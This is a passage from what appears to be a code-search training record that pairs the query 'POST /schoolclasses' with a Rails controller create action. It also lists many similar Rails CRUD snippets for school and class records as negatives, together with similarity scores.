created.' }\n format.json { render json: @clclass, status: :created, location: @clclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @book_of_class = BookOfClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book_of_class }\n end\n end", "def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @classified }\n end\n end" ]
[ "0.8186771", "0.813327", "0.7530987", "0.7530987", "0.75097907", "0.7479836", "0.7405693", "0.732036", "0.7269546", "0.7236531", "0.722363", "0.7220031", "0.71494496", "0.71483105", "0.7148163", "0.7095364", "0.70575887", "0.70448697", "0.70258254", "0.70223063", "0.7021761", "0.70069534", "0.69431883", "0.6936693", "0.6930552", "0.69289464", "0.6922652", "0.6891263", "0.68419164", "0.6840995", "0.68353045", "0.682604", "0.68215954", "0.6819535", "0.6799703", "0.6780335", "0.6767083", "0.67528176", "0.66862524", "0.666243", "0.6657107", "0.66533154", "0.66479087", "0.66474676", "0.6625491", "0.6622394", "0.6601886", "0.6598594", "0.65951896", "0.6593513", "0.65900373", "0.65897423", "0.65780836", "0.6566262", "0.6558828", "0.65569377", "0.65532696", "0.65482956", "0.6540458", "0.6538613", "0.65351725", "0.6535077", "0.65258294", "0.6522564", "0.6521932", "0.6513468", "0.65108246", "0.6509508", "0.6506878", "0.64847577", "0.6484432", "0.6479899", "0.6477983", "0.6471573", "0.64631927", "0.64602065", "0.6459954", "0.6458968", "0.6458362", "0.6457212", "0.6456085", "0.6455172", "0.6451253", "0.64498276", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.6446649", "0.643848", "0.6437087", "0.64288443", "0.64281857", "0.6419872" ]
0.8184719
1
POST /schoolclasses POST /schoolclasses.json
def create @schoolclass = Schoolclass.new(params[:schoolclass]) respond_to do |format| if @schoolclass.save format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully created.' } format.json { render json: @schoolclass, status: :created, location: @schoolclass } else format.html { render action: "new" } format.json { render json: @schoolclass.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @school_class = SchoolClass.new(school_class_params)\n\n respond_to do |format|\n if @school_class.save\n format.html { redirect_to school_classes_path, notice: 'School class was successfully created.' }\n format.json { render :show, status: :created, location: @school_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n s_id = Allotment.where(user_id: current_user.id).pluck(:school_id).first\n standard_id = Standard.where(name: params[:class_mapping][:standard]).pluck(:id).first\n section_id = Section.where(name: params[:class_mapping][:section]).pluck(:id).first\n @classes = ClassMapping.new({:section_id => section_id, :standard_id => standard_id, :school_id => s_id})\n @saved_class = { id:@classes.id, standard: params[:class_mapping][:standard], section: params[:class_mapping][:section], school: s_id}\n if @classes.save\n render :json => @saved_class\n end\n end", "def create\n @classes = SchoolClass.all\n @class = SchoolClass.new(class_params)\n add_breadcrumb \"School Classes\", classes_url\n add_breadcrumb \"New Class\"\n # respond_to do |format|\n if @class.save\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash[:notice] = \"Class was successfully created.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # format.html { redirect_to classes_url, notice: 'School Class was successfully created.' }\n # format.json { render :show, status: :created, location: @class }\n else\n respond_to do |format|\n format.html { render :new }\n flash[:alert] = @class.errors.full_messages.to_sentence\n # format.json { render json: @class.errors, status: :unprocessable_entity }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n # end\n end\n end", "def create\n name = params[:school_class][:name]\n level = params[:school_class][:level]\n school_id = current_user.user_info.school_id\n\n @school_class = SchoolClass.new(:name => name, :level => level, :school_id => school_id)\n\n respond_to do |format|\n if @school_class.save \n if params[:save_add_another]\n format.html {redirect_to new_school_class_url, notice: 'Class was successfully created.' }\n else\n format.html {redirect_to school_classes_url, notice: 'Class was successfully created.'}\n end\n #format.html { redirect_to @school_class, notice: 'Class was successfully created.' }\n #format.json { render json: @school_class, status: :created, location: @school_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @classtable = Classtable.new(params[:classtable])\n\t#@classtable.school_id = current_school_id\n\t@classtable.school_id = $current_school_id\n respond_to do |format|\n if @classtable.save\n format.html { redirect_to @classtable, notice: 'Classtable was successfully created.' }\n format.json { render json: @classtable, status: :created, location: @classtable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @classtable.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @student_class = StudentClass.new(student_class_params)\n\n respond_to do |format|\n if @student_class.save\n format.html { redirect_to @student_class, notice: \"Student class was successfully created.\" }\n format.json { render :show, status: :created, location: @student_class }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def school_class_params\n params.require(:school_class).permit(:teacher_id, :number, :unit_id)\n end", "def new\n @schoolclass = Schoolclass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schoolclass }\n end\n end", "def create\n @registration_klass = @school.registration_klasses.build(registration_klass_params)\n\n respond_to do |format|\n if @registration_klass.save\n format.html { redirect_to [@school, @registration_klass], notice: 'Class was successfully created.' }\n format.json { render :show, status: :created, location: @registration_klass }\n format.js { }\n else\n format.html { render :new }\n format.json { render json: @registration_klass.errors, status: :unprocessable_entity }\n format.js { render layout: false, content_type: 'text/javascript' }\n end\n end\n end", "def school_class_params\n params.require(:school_class).permit(:title, :room_number)\n end", "def create\n @admin_classroom = @admin_school.classrooms.new(admin_classroom_params)\n\n respond_to do |format|\n if @admin_classroom.save\n format.html { redirect_to admin_school_classroom_path(@admin_school,@admin_classroom), notice: \"Classroom was successfully created.\" }\n format.json { render :show, status: :created, location: @admin_classroom }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @admin_classroom.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_params(*args)\n params.require(:school_class).permit(*args)\nend", "def post_params(*args)\n params.require(:school_class).permit(*args)\nend", "def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @school_class }\n end\n end", "def school_class_params(*args)\n params.require(:school_class).permit(*args)\n end", "def school_class_params(*args)\n params.require(:school_class).permit(*args)\n end", "def new\n @school_class = SchoolClass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @school_class }\n end\n end", "def school_class_params\n params.require(:school_class).permit(:title, :room_number)\n end", "def create\n @class_test = ClassTest.new(class_test_params)\n @class_test.school_branch = current_school_branch\n @class_test.creator = current_teacher || current_entity\n\n respond_to do |format|\n if @class_test.save\n format.html { redirect_to @class_test, notice: 'Class test was successfully created.' }\n format.json { render :show, status: :created, location: @class_test }\n else\n format.html { render :new }\n format.json { render json: @class_test.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n respond_to do |format|\n if @school.save\n format.html { redirect_to schools_path }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(params[:school])\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render json: @school, status: :created, location: @school }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @classessection = Classessection.new(classessection_params)\n\n respond_to do |format|\n if @classessection.save\n format.html { redirect_to @classessection, notice: 'Classessection was successfully created.' }\n format.json { render :show, status: :created, location: @classessection }\n else\n format.html { render :new }\n format.json { render json: @classessection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n @my_school = MySchool.find(params[:my_school_id]) \n @school_class = @my_school.school_classes.build(school_class_params)\n \n respond_to do |format|\n if @school_class.save\n unless @school_class.users.blank?\n @school_class.users.each do |user|\n user.build_user_school(:my_school_id=>params[:my_school_id]).save\n #send welcome mail with password\n # UserMailer.welcome_email(user,'password',\"generate password\").deliver\n end\n end\n format.html { redirect_to my_schools_path, notice: 'Class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @school_class }\n else\n # @my_school = MySchool.find(params[:my_school_id])\n # @users = User.not_admin\n format.html { render action: 'new', error: @school_class.errors }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @high_school = HighSchool.new(high_school_params)\n\n respond_to do |format|\n if @high_school.save\n format.html { redirect_to @high_school, notice: 'High school was successfully created.' }\n format.json { render :show, status: :created, location: @high_school }\n else\n format.html { render :new }\n format.json { render json: @high_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @high_school = HighSchool.new(high_school_params)\n\n respond_to do |format|\n if @high_school.save\n format.html { redirect_to @high_school, notice: 'High school was successfully created.' }\n format.json { render :show, status: :created, location: @high_school }\n else\n format.html { render :new }\n format.json { render json: @high_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n if @school.save\n render :show, status: :created, location: @school\n else\n render json: @school.errors, status: :unprocessable_entity\n end\n end", "def create\n @class_student = ClassStudent.new(class_student_params)\n\n respond_to do |format|\n if @class_student.save\n format.html { redirect_to @class_student, notice: 'Class student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @class_student }\n else\n format.html { render action: 'new' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @semesters = Portal::Semester.find(:all)\n\n @object_params = params[:portal_clazz]\n school_id = @object_params.delete(:school)\n grade_levels = @object_params.delete(:grade_levels)\n\n @portal_clazz = Portal::Clazz.new(@object_params)\n\n okToCreate = true\n if !school_id\n # This should never happen, since the schools dropdown should consist of the default site school if the current user has no schools\n flash[:error] = \"You need to belong to a school in order to create classes. Please join a school and try again.\"\n okToCreate = false\n end\n\n if okToCreate and Admin::Project.default_project.enable_grade_levels?\n grade_levels.each do |name, v|\n grade = Portal::Grade.find_by_name(name)\n @portal_clazz.grades << grade if grade\n end if grade_levels\n if @portal_clazz.grades.empty?\n flash[:error] = \"You need to select at least one grade level for this class.\"\n okToCreate = false\n end\n end\n\n if okToCreate && !@portal_clazz.teacher\n if current_user.anonymous?\n flash[:error] = \"Anonymous can't create classes. Please log in and try again.\"\n okToCreate = false\n elsif current_user.portal_teacher\n @portal_clazz.teacher_id = current_user.portal_teacher.id\n @portal_clazz.teacher = current_user.portal_teacher\n else\n teacher = Portal::Teacher.create(:user => current_user) # Former call set :user_id directly; class validations didn't like that\n if teacher && teacher.id # Former call used .id directly on create method, leaving room for NilClass error\n @portal_clazz.teacher_id = teacher.id # Former call tried to do another Portal::Teacher.create. We don't want to double-create this teacher\n @portal_clazz.teacher = teacher\n @portal_clazz.teacher.schools << Portal::School.find_by_name(APP_CONFIG[:site_school])\n else\n flash[:error] = \"There was an error trying to associate you with this class. Please try again.\"\n okToCreate = false\n end\n end\n end\n\n if okToCreate\n # We can't use Course.find_or_create_by_course_number_name_and_school_id here, because we don't know what course_number we're looking for\n course = Portal::Course.find_by_name_and_school_id(@portal_clazz.name, school_id)\n course = Portal::Course.create({\n :name => @portal_clazz.name,\n :course_number => nil,\n :school_id => school_id\n }) if course.nil?\n\n if course\n # This will finally tie this clazz to a course and a school\n @portal_clazz.course = course\n else\n flash[:error] = \"There was an error trying to create your new class. Please try again.\"\n okToCreate = false\n end\n end\n\n respond_to do |format|\n if okToCreate && @portal_clazz.save\n flash[:notice] = 'Class was successfully created.'\n format.html { redirect_to(@portal_clazz) }\n format.xml { render :xml => @portal_clazz, :status => :created, :location => @portal_clazz }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @portal_clazz.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @school_class = SchoolClass.new(params[:school_class])\n \n params[:school_class][:opening_at].gsub!(\"/\",\".\")\n params[:school_class][:closing_at].gsub!(\"/\",\".\")\n \n #gera identificador único\n if @school_class.identifier.blank?\n if @school_class.matrix_id && @school_class.period && @school_class.shift_type_id && @school_class.class_season_id\n @school_class.identifier = @school_class.auto_identifier\n end\n end\n \n respond_to do |format|\n if @school_class.save\n format.html { redirect_to school_class_path(:id => @school_class.identifier), :notice => 'Turma criada com sucesso.' }\n format.json { render :json => @school_class, :status => :created, :location => @school_class }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @school_class.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n params[:school][:user_id] = session[:user_id]\n @school = School.new(params[:school])\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to \"/schools\", notice: 'School was successfully created.' }\n format.json { render json: @school, status: :created, location: @school }\n else\n # TODO show error\n format.html { render action: \"new\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @education_class = EducationClass.new(education_class_params)\n\n respond_to do |format|\n if @education_class.save\n format.html { redirect_to @education_class, notice: 'Education class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @education_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @education_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @teacher_class = TeacherClass.new(teacher_class_params)\n\n respond_to do |format|\n if @teacher_class.save\n format.html { redirect_to @teacher_class, notice: 'Teacher class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @teacher_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @teacher_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n respond_to do |format|\n if @school.save\n\n format.html { redirect_to @school, notice: 'School founding successful.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @class_group_enrollment = ClassGroupEnrollment.new(params[:class_group_enrollment])\n\n respond_to do |format|\n if @class_group_enrollment.save\n format.html { redirect_to @class_group_enrollment, notice: 'Class group enrollment was successfully created.' }\n format.json { render json: @class_group_enrollment, status: :created, location: @class_group_enrollment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_group_enrollment.errors, status: :unprocessable_entity }\n end\n end\n end", "def s_class_params\n params.require(:s_class).permit(:class_name, :teacher_id, :year, :grade_id)\n end", "def classs_params\n params.require(:classs).permit(:name, :major_id)\n end", "def create\n @code_club_school = CodeClubSchool.new(code_club_school_params)\n\n respond_to do |format|\n if @code_club_school.save\n format.html { redirect_to @code_club_school, notice: 'Code club school was successfully created.' }\n format.json { render action: 'show', status: :created, location: @code_club_school }\n else\n format.html { render action: 'new' }\n format.json { render json: @code_club_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school = School.new(school_params)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'La sede ha sido creada exitosamente.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @s_class = SClass.new(s_class_params)\n\n respond_to do |format|\n if @s_class.save\n format.html { redirect_to @s_class, notice: 'S class was successfully created.' }\n format.json { render :show, status: :created, location: @s_class }\n else\n format.html { render :new }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if !@current_user.verified \n redirect_to class_groups_path\n return\n end\n @class_group = ClassGroup.new(class_group_params)\n\n\n respond_to do |format|\n if @class_group.save\n Membership.create(\n user_id: @current_user.id,\n class_group_id: @class_group.id,\n kind: 'teacher')\n format.html { redirect_to @class_group, notice: 'Class group was successfully created.' }\n format.json { render :show, status: :created, location: @class_group }\n else\n @class_groups = @current_user.class_groups\n format.html { render :index }\n format.json { render json: @class_group.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @schoolb = Schoolb.new(schoolb_params)\n\n if @schoolb.save\n render :show, status: :created, location: @schoolb\n else\n render json: @schoolb.errors, status: :unprocessable_entity\n end\n end", "def set_school_class\n @school_class = SchoolClass.find(params[:id])\n end", "def set_school_class\n @school_class = SchoolClass.find(params[:id])\n end", "def student_class_params\n params.require(:student_class).permit(:class_number, :teacher1, :teacher2)\n end", "def create\n @districtclass = Districtclass.new(params[:districtclass])\n\n respond_to do |format|\n if @districtclass.save\n format.html { redirect_to @districtclass, notice: 'Districtclass was successfully created.' }\n format.json { render json: @districtclass, status: :created, location: @districtclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @districtclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school_type = SchoolType.new(school_type_params)\n\n respond_to do |format|\n if @school_type.save\n format.html { redirect_to @school_type, notice: 'School type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @school_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @school_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @school_class.update(school_class_params)\n format.html { redirect_to school_classes_path, notice: 'School class was successfully updated.' }\n format.json { render :show, status: :ok, location: @school_class }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @school_class = SchoolClass.new\n end", "def create\n @school = @city.schools.build(school_params)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to city_schools_path(@city), notice: \"School was successfully created.\" }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def class_section_params\n params.require(:class_section).permit(:description, :school_id)\n end", "def create\n @cms_school = Cms::School.new(cms_school_params)\n\n respond_to do |format|\n if @cms_school.save\n format.html { redirect_to @cms_school, notice: 'School was successfully created.' }\n format.json { render :show, status: :created, location: @cms_school }\n else\n format.html { render :new }\n format.json { render json: @cms_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @my_school = MySchool.find(params[:my_school_id])\n @school_classes = @my_school.school_classes\n end", "def class_mapping_params\n params.require(:class_mapping).permit(:standard_id, :section_id, :school_id)\n end", "def class_mapping_params\n params.require(:class_mapping).permit(:standard_id, :section_id, :school_id)\n end", "def create\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE\n # authorize Portal::Nces06School\n @nces06_school = Portal::Nces06School.new(portal_nces06_school_strong_params(params[:nces06_school]))\n\n respond_to do |format|\n if @nces06_school.save\n flash['notice'] = 'Portal::Nces06School was successfully created.'\n format.html { redirect_to(@nces06_school) }\n format.xml { render :xml => @nces06_school, :status => :created, :location => @nces06_school }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nces06_school.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @siseasclass = Siseasclass.new(siseasclass_params)\n\n respond_to do |format|\n if @siseasclass.save\n format.html { redirect_to @siseasclass, notice: 'Siseasclass was successfully created.' }\n format.json { render :show, status: :created, location: @siseasclass }\n else\n format.html { render :new }\n format.json { render json: @siseasclass.errors, status: :unprocessable_entity }\n end\n end\n end", "def classroom_params\n params.require(:classroom).permit(:name, :ca_class_id, :teacher_id, :school_id)\n end", "def create\n @inschool = Inschool.new(params[:inschool])\n\n respond_to do |format|\n if @inschool.save\n format.html { redirect_to @inschool, notice: 'Inschool was successfully created.' }\n format.json { render json: @inschool, status: :created, location: @inschool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_in_school = UserInSchool.new(user_in_school_params)\n\n respond_to do |format|\n if @user_in_school.save\n format.html { redirect_to @user_in_school, notice: 'User in school was successfully created.' }\n format.json { render :show, status: :created, location: @user_in_school }\n else\n format.html { render :new }\n format.json { render json: @user_in_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @school_class = SchoolClass.find(params[:id])\n @school_class.destroy\n\n respond_to do |format|\n format.html { redirect_to school_classes_url }\n format.json { head :no_content }\n end\n end", "def create\n @school = School.new(params[:school])\n @school.creator = \"sys_creator\"\n @school.modifier = \"sys_modifier\"\n respond_to do |format|\n if @school.save\n format.html { redirect_to cms_school_path(@school), notice: 'School was successfully created.' }\n format.json { render json: cms_school_path(@school), status: :created, location: @school }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.create(params[:inschool])\n\n respond_to do |format|\n if @inschool.save\n StudentMailer.mailer_inschool(@student, @inschool).deliver\n format.html { redirect_to :back, notice: 'Inschool was successfully created and an email sent was sent to the teacher.' }\n format.json { render json: @inschool, status: :created, location: @inschool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @clasification = Clasification.new(clasification_params)\n\n respond_to do |format|\n if @clasification.save\n format.html { redirect_to @clasification, notice: \"Clasification was successfully created.\" }\n format.json { render :show, status: :created, location: @clasification }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @school_classes = SchoolClass.where('school_id = ?', current_user.user_info.school_id).order(\"name\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @school_classes }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @school_class.destroy\n respond_to do |format|\n format.html { redirect_to school_classes_url, notice: 'School class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n # @todo deprecate?\n @school = School.new(params[:school])\n if self.current_user.is_shared\n u = SharedUsers.where(:user_id => self.current_user.id).first\n @school.owned_by = u.owned_by\n else\n @school.owned_by = self.current_user.id\n end\n @school.gmaps = 1\n\n respond_to do |format|\n count=self.current_user.organization.totalschools\n if self.current_user.organization.school_allowance <= count\n redirect_to :root, :notice => 'Your current school allowance is too small to create this school. Please contact support in order to increase it.'\n return\n end\n if @school.save\n self.current_user.organization.update_attribute(:totalschools,count+1)\n format.html { redirect_to(@school, :notice => 'School was successfully created.') }\n format.xml { render :xml => @school, :status => :created, :location => @school }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @school.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @classcourse = Classcourse.new(classcourse_params)\n\n respond_to do |format|\n if @classcourse.save\n format.html { redirect_to @classcourse, notice: 'Classcourse was successfully created.' }\n format.json { render :show, status: :created, location: @classcourse }\n else\n format.html { render :new }\n format.json { render json: @classcourse.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @school = School.new(school_params)\r\n respond_to do |format|\r\n if @school.save\r\n format.html { redirect_to @school, notice: 'Skolan har skapats!' }\r\n format.json { render action: 'show', status: :created, location: @school }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @school.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @classwork = Classwork.new(classwork_params)\n\n respond_to do |format|\n if @classwork.save\n format.html { redirect_to @classwork, notice: 'Classwork was successfully created.' }\n format.json { render action: 'show', status: :created, location: @classwork }\n else\n format.html { render action: 'new' }\n format.json { render json: @classwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:school][:school_type] = params[:school][:school_type].strip.downcase.gsub(\" \",\"_\")\n @admin_school = City.find(session[:current_city_id]).utility.schools.new(admin_school_params)\n\n respond_to do |format|\n if @admin_school.save\n format.html { redirect_to admin_schools_url(public: @admin_school.is_public), notice: 'Scuola è stato creato con successo.' }\n format.json { render :show, status: :created, location: @admin_school }\n else\n format.html { render :new }\n format.json { render json: @admin_school.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @school_setup = SchoolSetup.new(params[:school_setup])\n\n respond_to do |format|\n if @school_setup.save\n format.html { redirect_to @school_setup, notice: 'School setup was successfully created.' }\n format.json { render json: @school_setup, status: :created, location: @school_setup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school_setup.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @class_room = ClassRoom.new(params[:class_room])\n respond_to do |format|\n if @class_room.save\n format.html { redirect_to @class_room, notice: 'Academic class was successfully created.' }\n format.json { render json: @class_room, status: :created, location: @class_room }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration_klass_params\n params.require(:registration_klass).permit(:name, :school_id,\n :course_id, :year, :tipe, :course_name, :slug,\n { data: [:group_type, :sport_type, :more_information] },\n { user_ids: [] })\n end", "def create\n @school = School.new(school_params)\n @principals = User.with_role(:principal)\n\n respond_to do |format|\n if @school.save\n format.html { redirect_to @school, notice: 'School was successfully created.' }\n format.json { render :show, status: :created, location: @school }\n else\n format.html { render :new }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @schoolclass = Schoolclass.find(params[:id])\n @schoolclass.destroy\n\n respond_to do |format|\n format.html { redirect_to schoolclasses_url }\n format.json { head :no_content }\n end\n end", "def create\n @class = Classe.new(params[:class])\n\n respond_to do |format|\n if @class.save\n format.html { redirect_to @class, notice: 'Classe was successfully created.' }\n format.json { render json: @class, status: :created, location: @class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @class.errors, status: :unprocessable_entity }\n end\n end\n end", "def school_params\n params.require(:school).permit(:name, :state_rank, :national_rank, :college_readiness_score, :tested_ap_ib, :pass_ap_ib, :math_score, :math_proficient, :math_not_proficient, :reading_score, :reading_proficient, :reading_not_proficient, :student_teacher_ratio, :street_address, :city, :state, :zip, :latitude, :longitude, :total_enrollment, :total_economically_disadvantaged, :receives_title_i_funding, :ap_student_performance_participation_rate, :ap_student_performance_participant_passing_rate, :ap_student_performance_exam_per_test_taker, :ap_student_performance_exam_pass_rate, :district_id)\n end", "def create\n @test_class = TestClass.new(params[:test_class])\n\n respond_to do |format|\n if @test_class.save\n format.html { redirect_to @test_class, notice: 'Test class was successfully created.' }\n format.json { render json: @test_class, status: :created, location: @test_class }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subject_class = SubjectClass.new(subject_class_params)\n\n respond_to do |format|\n if @subject_class.save\n format.html { redirect_to @subject_class, notice: 'Subject class was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subject_class }\n else\n format.html { render action: 'new' }\n format.json { render json: @subject_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def teacher_updated_class_list_json\n params.require(:workspace_id)\n params.require(:school_id)\n params.require(:grade_level_next_year)\n params.require(:list_type_text)\n params.require(:json)\n params.require(:submitted)\n workspace_id = params[:workspace_id]\n school_id = params[:school_id].to_i\n grade_level_next_year = params[:grade_level_next_year]\n list_type_text = params[:list_type_text]\n json = params[:json]\n submitted = ActiveModel::Type::Boolean.new.cast(params[:submitted])\n\n # Check that they are authorized for grade level\n grade_level_now = GradeLevels.new.previous(grade_level_next_year)\n raise Exceptions::EducatorNotAuthorized unless queries.is_authorized_for_grade_level_now?(school_id, grade_level_now)\n\n # Check that they are authorized to write to this particular workspace (eg, not submitted yet).\n raise Exceptions::EducatorNotAuthorized unless queries.is_authorized_for_writes?(workspace_id)\n\n # Write a new record\n class_list = ClassList.create!({\n workspace_id: workspace_id,\n created_by_teacher_educator_id: current_educator.id,\n school_id: school_id,\n grade_level_next_year: grade_level_next_year,\n list_type_text: list_type_text,\n submitted: submitted,\n json: json # left opaque for UI to iterate\n })\n class_list_json = serialize_class_list(class_list)\n render json: {\n class_list: class_list_json\n }\n end", "def create\n \n answer = Student.createNew(params[:student])\n redirect_to teachers_path, notice: \"Student wasn't created! Please bind at least one teacher to class #{gcl} before.\" unless answer\n\n redirect_to \"/gclasses/#{Gclass.where(:gclass=>params[:student][:gclass]).first.id}\", notice: \"Student was successfully created.\"\n end", "def school_class_params\n # debugger\n params.require(:school_class).permit(:my_school_id,:name, :start_date, :end_date,theory_days_attributes:[:start_date,:start_time,:end_time,:repeat_weekly,:_destroy],users_attributes:[:password, 